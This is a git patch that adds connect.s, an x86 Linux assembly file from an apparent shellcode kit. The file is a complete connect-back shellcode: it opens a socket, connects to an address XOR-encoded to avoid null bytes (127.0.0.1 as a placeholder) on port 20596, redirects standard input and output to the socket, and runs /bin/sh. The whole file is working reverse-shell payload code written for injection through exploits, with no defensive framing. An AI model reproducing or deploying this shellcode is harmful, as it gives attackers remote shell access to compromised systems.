From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_linux/connect.s | 61 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 other/shellkit/x86_linux/connect.s (limited to 'other/shellkit/x86_linux/connect.s') diff --git a/other/shellkit/x86_linux/connect.s b/other/shellkit/x86_linux/connect.s new file mode 100644 index 0000000..452a1d4 --- /dev/null +++ b/other/shellkit/x86_linux/connect.s @@ -0,0 +1,61 @@ + .globl cbegin + .globl cend + +cbegin: + +/* socket */ + xorl %eax, %eax + cdq + push %eax + incb %al + movl %eax, %ebx + push %eax + incb %al + push %eax + movl %esp, %ecx + movb $0x66, %al + int $0x80 + +/* connect */ + movl $0x41414141, %ecx + xorl $0x4041413e, %ecx /* address: 127.0.0.1 */ + push %ecx + pushw $0x7450 + pushw %dx + movl %esp, %ecx + movl %eax, %edx + + push $0x10 + push %ecx + push %edx + movl %esp, %ecx + + movb $0x03, %bl + movb $0x66, %al + int $0x80 + +/* dup2 fd 0 + fd 1 */ + movl %edx, %ebx + xorl %ecx, %ecx + + movb $0x3f, %al + int $0x80 + + incb %cl + movb $0x3f, %al + int $0x80 + +/* execve shell (by lorian, see execve.s) - slightly modified */ + movb $0x0b, %al + cdq + pushl %edx + push $0x68732F6E + push $0x69622F2F + movl %esp, %ebx + pushl %edx + pushl %ebx + movl %esp, %ecx + int $0x80 + +cend: + -- cgit v1.3